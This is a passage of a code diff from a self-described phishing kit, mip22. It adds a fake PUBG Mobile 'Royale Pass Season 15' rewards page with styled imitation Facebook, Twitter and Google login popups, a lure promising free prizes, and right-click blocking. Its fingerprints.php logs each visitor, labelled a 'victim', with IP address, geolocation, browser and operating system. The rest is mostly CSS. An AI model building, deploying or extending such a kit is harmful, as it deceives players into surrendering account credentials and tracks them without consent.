+        border-top-right-radius: 0px;
+    }
+	.footer-language-google, .footer-menu-google {
+	    margin-top: 70%;
+	}
+	.footer-language-account-google, .footer-menu-account-google {
+	    margin-top: 90%;
+	}
+}

.pages/pubg/css/login/twitter.css

@@ -0,0 +1,98 @@
+.header-twitter {
+    background: #fff;
+    width: 100%;
+    font-size: 25px;
+    font-weight: bold;
+    text-align: left;
+    position: relative;
+    border-radius: 10px;
+}
+.header-twitter img {
+    width: 55;
+}
+.box-twitter {
+    width: 100%;
+    height: 400px;
+    position: absolute;
+    overflow: none;
+    font-size: 15px;
+    font-family: sans-serif;
+    border-radius: 10px;
+}
+.txt-login-twitter {
+    color: #000;
+    font-size: 20px;
+    font-weight: bold;
+    font-family: arial, sans-serif;
+    margin-top: 3%;
+    margin-bottom: 5%;
+}
+.input-box-twitter {
+    background: #f5f8fa;
+	width: 90%;
+	height: 55px;
+	margin-top: 10px;
+	margin-bottom: 18px;
+	padding: 10px;
+	padding-top: 5px;
+	font-size: 14px;
+	font-family: arial, sans-serif;
+	text-align: left;
+	position: relative;
+	border-bottom: 2px solid #657786;
+	border-radius: 2px;
+	outline: none;
+	z-index: 2;
+}
+.input-box-twitter label {
+    color: #657786;
+	text-align: left;
+}
+.input-box-twitter input {
+	background: transparent;
+	width: 100%;
+	height: auto;
+	padding: 7px;
+	padding-top: 3px;
+	padding-left: 0px;
+	color: #000;
+	font-size: 18px;
+	font-family: arial, sans-serif;
+	text-align: left;
+	position: relative;
+	border: none;
+	outline: none;
+	z-index: 2;
+}
+.btn-login-twitter {
+    background: #1da1f2;
+    width: 90%;
+    height: auto;
+    padding: 14px;
+    color: #fff;
+    font-size: 15px;
+    font-weight: bold;
+    font-family: arial, sans-serif;
+    border: none;
+    border-radius: 30px;
+    outline: none;
+    letter-spacing: 1;
+}
+.footer-menu-twitter {
+    width: auto;
+    height: auto;
+    margin: 0.5%;
+    margin-top: 7%;
+    color: #1da1f2;
+    font-size: 14px;
+    font-family: arial, sans-serif;
+    display: inline-block;
+}
+.bulet {
+    color: #000;
+    font-size: 8px;
+}
+.aktifnya {
+    color: #1da1f2;
+    border-bottom: 2px solid #1da1f2;
+}

.pages/pubg/css/style.css

@@ -0,0 +1,835 @@
+@charset "utf-8";
+@import url("https://fonts.googleapis.com/css2?family=Teko&display=swap");
+*,*:before,*:after {
+	-webkit-box-sizing:border-box;
+	-moz-box-sizing:border-box;
+	box-sizing:border-box;
+}
+body {
+	background:#fff;
+	-webkit-background-size:cover;
+	-moz-background-size:cover;
+	-o-background-size:cover;
+	background-size:cover;
+	margin:0;
+	color:#000;
+	font-family:'Teko',sans-serif;
+}
+.container {
+	background:url(../img/container.jpg) no-repeat center;
+	background-size:cover;
+	margin:0px auto;
+	margin-top:0.5%;
+	margin-bottom:0.5%;
+	max-width:400px;
+	height:640px;
+	border: 1px solid #ffcc57;
+	border-radius:10px;
+	box-shadow:1px 1px 10px rgba(0,0,0,0.3);
+	position:relative;
+}
+.container-mask {
+    background: rgba(0, 0, 0, 0.5);
+    width: 100%;
+    height: 100%;
+    border-radius: 10px;
+}
+.navbar {
+	background: #000;
+	width:100%;
+	height:50px;
+	border-bottom:1px solid #eaa300;
+	border-top-left-radius:10px;
+	border-top-right-radius:10px;
+}
+.navbar-logo-box {
+	width: 150px;
+	height: 100%;
+	border-top-left-radius: 8px;
+	border-bottom: 50px solid #eaa300;
+    border-right: 50px solid transparent;
+}
+.navbar-logo-box img {
+	width: 100px;
+	padding-top: 5px;
+	margin-left: 8px;
+}
+.navbar-menu {
+	margin-top:4px;
+	float:right;
+}
+.navbar-menu i {
+	margin-top: 3px;
+	margin-right: 10px;
+	color: #eaa300;
+	font-size: 35px;
+}
+.landing-content {
+	width: 100%;
+	height: 350px;
+}
+.btn-share {
+	background: #eaa300;
+	width: 25%;
+	height: 33px;
+	margin-top: 11px;
+	margin-left: 9px;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+	float: left;
+}
+.btn-share-icon {
+	background: #ffcc57;
+	width: 25%;
+	height: 100%;
+	margin-right: 5px;
+	border-radius: 5px;
+	float: left;
+}
+.btn-share-icon i {
+	padding-top: 2px;
+	padding-left: 3.5px;
+	color: #000;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.btn-share-txt {
+	padding-top: 1px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+}
+.landing-message {
+	width:100%;
+	height:238px;
+	border-bottom-left-radius: 10px;
+	border-bottom-right-radius: 10px;
+}
+.landing-message img {
+	width: 90px;
+	margin-top: 5px;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.landing-message-title {
+	padding-top: 10px;
+	color: #eaa300;
+	font-size: 27px;
+	font-family: Teko, sans-serif;
+	font-weight: bold;
+	text-align: center;
+	text-transform: uppercase;
+	letter-spacing: 1px;
+}
+.divider{
+	display: block;
+	margin-left: 5%;
+	margin-right: 5%;
+	margin-top: -8px;
+	overflow: hidden;
+	text-align: center;
+	white-space: nowrap;
+	width: 45%;
+}
+.divider>span{
+	display: inline-block;
+	position: relative;
+	color: #eaa300;
+	cursor: default;
+	font-size: 20px;
+	font-family: Teko, sans-serif;
+	font-weight: bold;
+	text-transform: uppercase;
+	letter-spacing: 1px;
+}
+.divider>span:before, .divider>span:after{
+	background: #eaa300;
+	content: "";
+	height: 2px;
+	position: absolute;
+	top: 50%;
+	width: 9999px;
+}
+.divider>span:before{
+	margin-right: 10px;
+	right: 100%;
+}
+.divider>span:after{
+	left: 100%;
+	margin-left: 10px;
+}
+.btn-collect {
+	background: #eaa300;
+	width: 30%;
+	height: 33px;
+	margin-top: 20px;
+	margin-left: auto;
+	margin-right: auto;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+	display: block;
+}
+.btn-collect-icon {
+	background: #ffcc57;
+	width: 20%;
+	height: 100%;
+	margin-right: 5px;
+	border-radius: 5px;
+	float: left;
+}
+.btn-collect-icon i {
+	padding-top: 2px;
+	padding-left: 3.5px;
+	color: #000;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.btn-collect-txt {
+	padding-top: 1px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+}
+.reward-content {
+	width:95%;
+	height:88.5%;
+	margin-top: 3%;
+	margin-left:auto;
+	margin-right:auto;
+	display:block;
+}
+.menu-wrapper {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	margin-top: 10px;
+	margin-left: auto;
+	margin-right: auto;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+    display: block;
+}
+.menu-choose {
+	width: 32.5%;
+	height: auto;
+	padding: 6px;
+	padding-top: 8px;
+	color: #000;
+	text-align: center;
+	border-bottom: 3px solid transparent;
+	display: inline-block;
+}
+.menu-active {
+	background: rgba(255, 204, 87, 0.4);
+	border-bottom: 3px solid #ffcc57;
+	transition: 0.5s;
+}
+.menu-notify {
+	background: #eaa300;
+	width: 100%;
+	height: 35px;
+	margin-top: 10px;
+	margin-left: auto;
+	margin-right: auto;
+	margin-bottom: 10px;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+	display: block;
+}
+.menu-notify-icon {
+	background: #ffcc57;
+	width: 6.5%;
+	height: 100%;
+	margin-right: 5px;
+	border-radius: 5px;
+	float: left;
+}
+.menu-notify-icon i {
+	padding-top: 2px;
+	padding-left: 3.5px;
+	color: #000;
+	font-size: 20px;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.menu-notify-txt {
+	padding-top: 1px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+}
+.menu-notify-change {
+	background: #ffcc57;
+	width: 23%;
+	height: auto;
+	padding: 1px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+	border-radius: 3px;
+	float: right;
+}
+.scroll {
+	overflow:scroll;
+	position:relative;
+	height: 465px;
+	margin-top: 10px;
+	scrollbar-face-color:#ffbb40;
+	scrollbar-shadow-color:#ffbb40;
+	scrollbar-highlight-color:#ffbb40;
+	scrollbar-3dlight-color:#ffbb40;
+	scrollbar-darkshadow-color:#ffbb40;
+	scrollbar-track-color:#ffbb40;
+	scrollbar-arrow-color:#ffbb40;
+}
+.item {
+	background: #000;
+	width: 32%;
+	height: auto;
+	margin-bottom: 9px;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.item img {
+	width: 100%;
+	height: 105px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.item button {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	margin-top: 5px;
+	padding: 3px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+}
+.balance {
+	background: #000;
+	width: 32%;
+	height: auto;
+	margin-bottom: 9px;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.balance-content-cash {
+	width: 100%;
+	height: 105px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.balance-content-other {
+	width: 100%;
+	height: 105px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.balance-content-cash img {
+	width: 50;
+	margin-top: 10px;
+	margin-bottom: 9px;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.balance-content-other img {
+	width: 50;
+	margin-top: 10px;
+	margin-bottom: 9px;
+	margin-left: auto;
+	margin-right: auto;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	display: block;
+}
+.balance-currency {
+	width: 100%;
+	height: auto;
+	color: #eaa300;
+	font-size: 18px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+}
+.balance-price {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	padding: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+	border: 1px solid #ffcc57;
+	border-left: 0px;
+	border-right: 0px;
+	border-bottom: 0px;
+	border-bottom-left-radius: 4px;
+	border-bottom-right-radius: 4px;
+}
+.balance button {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	margin-top: 5px;
+	padding: 3px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+}
+.popup {
+	width:100%;
+	height:100%;
+	position:fixed;
+	top:0;
+	left:0;
+	z-index:9999;
+	overflow-y:scroll;
+}
+.item-confirmation {
+	background: #eaa300;
+	width: 100%;
+	height: 105px;
+	margin-top: 10px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.item-confirmation-img-box {
+	width: 28%;
+	height: 100%;
+	padding: 5px;
+	border-right: 1px solid #ffcc57;
+	float: left;
+}
+.item-confirmation-img-box img {
+	width: 100%;
+	height: 100%;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.item-confirmation-info {
+	width: 72%;
+	height: 100%;
+	float: right;
+}
+.item-confirmation-status-title {
+	background: #ffcc57;
+	width: 37%;
+	height: auto;
+	margin-top: 6px;
+	margin-left: 5px;
+	padding-left: 5px;
+	padding-right: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	border-radius: 2px;
+}
+.item-confirmation-status-info {
+	width: auto;
+	height: auto;
+	margin-top: 4px;
+	margin-left: 5px;
+	padding-top: 3px;
+	padding-left: 4px;
+	padding-right: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	line-height: 10px;
+	border-left: 1px solid #ffcc57;
+}
+.item-confirmation-information-title {
+	background: #ffcc57;
+	width: 37%;
+	height: auto;
+	margin-top: 14px;
+	margin-left: 5px;
+	padding-left: 5px;
+	padding-right: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	border-radius: 2px;
+}
+.item-confirmation-information-info {
+	width: auto;
+	height: auto;
+	margin-top: 4px;
+	margin-left: 5px;
+	padding-top: 3px;
+	padding-left: 4px;
+	padding-right: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	line-height: 10px;
+	border-left: 1px solid #ffcc57;
+}
+.btn-popup-wrapper {
+	width: 85%;
+	height: 80px;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.btn-popup {
+	background: #eaa300;
+	width: 49%;
+	height: 33px;
+	margin-top: 20px;
+	padding: 5px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	outline: none;
+}
+.btn-popup-icon {
+	background: #ffcc57;
+	width: 15%;
+	height: 100%;
+	margin-right: 5px;
+	border-radius: 5px;
+	float: left;
+}
+.btn-popup-icon i {
+	padding-top: 2px;
+	padding-left: 3.5px;
+	color: #000;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.btn-popup-txt {
+	padding-top: 1px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+}
+.btn-submit-popup-txt {
+	background: none;
+	width: 81%;
+	padding-left: 10px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	line-height: 20px;
+	border: none;
+	outline: none;
+	float: right;
+}
+.btn-login {
+	background: #eaa300;
+	width: 100%;
+	height: 51px;
+	margin-bottom: 3px;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.btn-login-logo {
+	background: #ffcc57;
+	width: 16%;
+	height: 100%;
+	padding: 5px;
+	border-top-left-radius: 2px;
+	border-bottom-left-radius: 2px;
+	float: left;
+}
+.btn-login-logo img {
+	width: 39px;
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+.btn-login-txt {
+	margin-top: 10px;
+	color: #000;
+	font-size: 20px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+}
+.popup-login {
+	background:rgba(0,0,0,0.5);
+	width:100%;
+	height:100%;
+	position:fixed;
+	top:0;
+	left:0;
+	z-index:9999;
+}
+.popup-box-login-fb {
+	background:#ECEFF6;
+	max-width:330px;
+	height:auto;
+	position:relative;
+	margin:50px auto;
+	margin-top:1.9%;
+	text-align:center;
+	font-family:'Teko';
+	color:#000;
+	border-radius:10px;
+}
+.popup-box-login-twitter {
+	background:#fff;
+	max-width:330px;
+	height:350px;
+	position:relative;
+	margin:50px auto;
+	margin-top:10%;
+	text-align:center;
+	font-family:'Teko';
+	color:#000;
+	border-radius:10px;
+}
+.popup-box-login-google {
+	background:#fff;
+	max-width:330px;
+	height:400px;
+	position:relative;
+	margin:50px auto;
+	margin-top:10%;
+	padding:15px;
+	text-align:center;
+	font-family:'Teko';
+	color:#000;
+	border-radius:10px;
+}
+.close-fb {
+	background:#000;
+	width:20px;
+	height:20px;
+	color:#fff;
+	text-align:center;
+	text-decoration:none;
+	border-radius:50%;
+	border:1.5px solid #fff;
+	position:absolute;
+	top:-8px;
+	right:-10px;
+	display:block;
+}
+.close-fb i {
+	color:#fff;
+	padding-top:1px;
+}
+.close-other {
+	background:#000;
+	width:20px;
+	height:20px;
+	color:#fff;
+	text-align:center;
+	text-decoration:none;
+	border-radius:50%;
+	border:1.5px solid #fff;
+	top:-8px;
+	right:-10px;
+	position:absolute;
+	z-index:9999999;
+	display:block;
+}
+.close-other i {
+	color:#fff;
+	padding-top:1px;
+}
+.input-verify {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	padding: 8px;
+	color: #000;
+	font-size: 15px;
+	font-family: 'Teko', sans-serif;
+	text-align: left;
+	border: 1px solid #ffcc57;
+	outline: none;
+}
+.select-verify {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	padding: 10px;
+	color: #000;
+	font-size: 15px;
+	font-family: 'Teko', sans-serif;
+	text-align: left;
+	border: 1px solid #ffcc57;
+	outline: none;
+}
+.br-line-top-none {
+	border-top: 0px;
+}
+.br-top {
+	border-top-left-radius: 5px;
+	border-top-right-radius: 5px;
+}
+.br-bottom {
+	border-bottom-left-radius: 5px;
+	border-bottom-right-radius: 5px;
+}
+.btn-verify {
+    background: #eaa300;
+    width: 40%;
+    height: 33px;
+    margin-top: 10px;
+    margin-left: auto;
+    margin-right: auto;
+    padding: 5px;
+    color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: center;
+    border: 1px solid #ffcc57;
+    border-radius: 5px;
+    outline: none;
+    display: block;
+}
+.btn-verify-icon {
+    background: #ffcc57;
+    width: 18%;
+    height: 100%;
+    border-radius: 5px;
+    float: left;
+}
+.btn-verify-icon i {
+    padding-top: 1px;
+    color: #000;
+    font-size: 19px;
+    margin-left: auto;
+    margin-right: auto;
+    display: block;
+}
+.message-box-finish {
+	background: #eaa300;
+	width: 100%;
+	height: auto;
+	padding: 5px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+}
+.notify-process {
+	width: auto;
+	height: auto;
+	padding-left: 8px;
+	padding-right: 8px;
+	color: #000;
+	font-size: 15px;
+	font-family: Teko, sans-serif;
+	text-align: left;
+	border: 1px solid #ffcc57;
+	border-radius: 5px;
+	float: right;
+}
+.kiri {
+	float: left;
+}
+.kanan {
+	float: right;
+}
+.tengah {
+	margin-left: auto;
+	margin-right: auto;
+	display: block;
+}
+::-webkit-scrollbar {
+	display:none;
+}
+input::-webkit-outer-spin-button,
+input::-webkit-inner-spin-button {
+-webkit-appearance: none;
+margin: 0;
+}
+select::-ms-expand {
+display: none;
+}
+select{
+-webkit-appearance: none;
+appearance: none;
+}
+@media only screen and (max-width:600px) {
+	.container,.container-mask {
+		width:100%;
+		height:100%;
+		margin-top:0px;
+		margin-bottom:0px;
+		border: none;
+		border-radius:0px;
+		padding:0px;
+	}
+	.navbar {
+		border-radius:0px;
+	}
+	.navbar-logo-box {
+		border-top-left-radius: 0px;
+	}
+	.landing-content {
+	    height: 280px;
+	}
+	.btn-share-icon {
+	    width: 27%;
+	}
+	.landing-message {
+	    border-radius: 0px;
+	}
+	.btn-collect-icon {
+	    width: 21%;
+	}
+	.item img {
+	    height: 90px;
+	}
+	.item-confirmation-img-box {
+	    margin-top: 5px;
+	    height: 92px;
+	}
+	.item-confirmation-status-title {
+	    width: 39%;
+	}
+	.item-confirmation-information-title {
+	    width: 43%;
+	}
+	.menu-notify-icon {
+	    width: 7.1%;
+	}
+	.btn-popup-icon {
+	    width: 15.5%;
+	}
+	.btn-popup-icon i {
+	    padding-top: 3px;
+	}
+	.popup-box-login-fb {
+	    margin-top: 5%;
+	}
+}

.pages/pubg/fingerprints.php

@@ -0,0 +1,126 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "fingerprints.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nPUBG VICTIM FINGERPRINTS => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>

.pages/pubg/index.html

@@ -0,0 +1,744 @@
+<html>
+<head>
+<meta charset="UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta property="og:title" content="PUBG MOBILE - Royale Pass Season 15">
+<meta name="description" content="Royale Pass Season 15 has begun! Collect your favorite prizes here right now !!! This promo is free without the need for topup. Come join this event with friends all over the world now!">
+<meta property="og:description" content="Royale Pass Season 15 has begun! Collect your favorite prizes here right now !!! This promo is free without the need for topup. Come join this event with friends all over the world now!">
+<meta property="og:url" content="./">
+<meta property="og:site_name" content="PUBG MOBILE - Royale Pass Season 15">
+<meta property="og:type" content="website">
+<meta name="copyright" content="PUBG MOBILE">
+<meta name="theme-color" content="#000">
+<meta property="og:image" content="https://i.ibb.co/y4BNtrv/season.png">
+<title>PUBG MOBILE - Royale Pass Season 15</title>
+<link rel="stylesheet" href="css/style.css">
+<link rel="stylesheet" href="css/login/facebook.css">
+<link rel="stylesheet" href="css/login/twitter.css">
+<link rel="stylesheet" href="css/login/google.css">
+<link rel="stylesheet" href="css/animate.css">
+<link rel="stylesheet" href="ajax/libs/material-design-iconic-font/2-2-0/css/material-design-iconic-font.css">
+<link href="font-awesome/4-7-0/css/font-awesome.min.css" rel="stylesheet" >
+<link rel="icon" href="https://user-images.githubusercontent.com/49580304/102182159-a7ec5d00-3e60-11eb-9656-bae13ee6afd0.jpg">
+</head>
+<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
+<div class="container">
+<div class="g-mask">
+<div class="navbar">
+<div class="navbar-menu">
+<i class="fa fa-bars"></i>
+</div> 
+<div class="navbar-logo-box">
+<img src="https://user-images.githubusercontent.com/49580304/102179370-da478b80-3e5b-11eb-9d3a-20b6f93d217f.png">
+</div> 
+</div> 
+<div class="reward-content">
+<div class="menu-wrapper">
+<center>
+<div class="menu-choose kiri" style="border-top-left-radius: 3px; border-bottom-left-radius: 3px;" onclick="openRewards(event, 'latest');" id="defaultTabRewards">Latest Reward</div>
+<div class="menu-choose kanan" style="border-top-right-radius: 3px; border-bottom-right-radius: 3px;" onclick="openRewards(event, 'other');">Other Reward</div>
+<div class="menu-choose tengah" onclick="openRewards(event, 'season');">Season Reward</div>
+</center>
+</div> 
+<div class="tab_rewards" id="latest">
+<div class="menu-notify">
+<div class="menu-notify-icon"><i class="zmdi zmdi-info-outline"></i></div>
+<div class="menu-notify-txt">Hi survivor, this is the latest reward for you today</div>
+</div> 
+<div class="scroll">
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102170024-48825300-3e48-11eb-9f7b-0deb14d48230.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170024-48825300-3e48-11eb-9f7b-0deb14d48230.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102170601-98154e80-3e49-11eb-8fd3-3b715ef0df65.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170601-98154e80-3e49-11eb-8fd3-3b715ef0df65.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102170765-f2161400-3e49-11eb-8a2f-2183aba4ee05.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170765-f2161400-3e49-11eb-8a2f-2183aba4ee05.jpgss">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102170871-2db0de00-3e4a-11eb-9abb-99f1e6e9e293.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170871-2db0de00-3e4a-11eb-9abb-99f1e6e9e293.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102170895-3acdcd00-3e4a-11eb-840d-3b05bf73e93e.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170895-3acdcd00-3e4a-11eb-840d-3b05bf73e93e.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102170936-4d480680-3e4a-11eb-9a68-0dafcb0c9afc.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170936-4d480680-3e4a-11eb-9a68-0dafcb0c9afc.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102170962-5afd8c00-3e4a-11eb-979d-bbbb54e4ed76.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102170962-5afd8c00-3e4a-11eb-979d-bbbb54e4ed76.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171006-68b31180-3e4a-11eb-996d-57e64569e600.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171006-68b31180-3e4a-11eb-996d-57e64569e600.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171023-749ed380-3e4a-11eb-80a6-226dd45b1017.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171023-749ed380-3e4a-11eb-80a6-226dd45b1017.jpg">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102171232-e70fb380-3e4a-11eb-90bb-03dc2bf02501.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171232-e70fb380-3e4a-11eb-90bb-03dc2bf02501.jpg">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102171251-f42ca280-3e4a-11eb-9c24-2777e124ff92.jpg">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102171251-f42ca280-3e4a-11eb-9c24-2777e124ff92.jpg">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102171272-03abeb80-3e4b-11eb-8fcc-6dec3262d594.jpg">
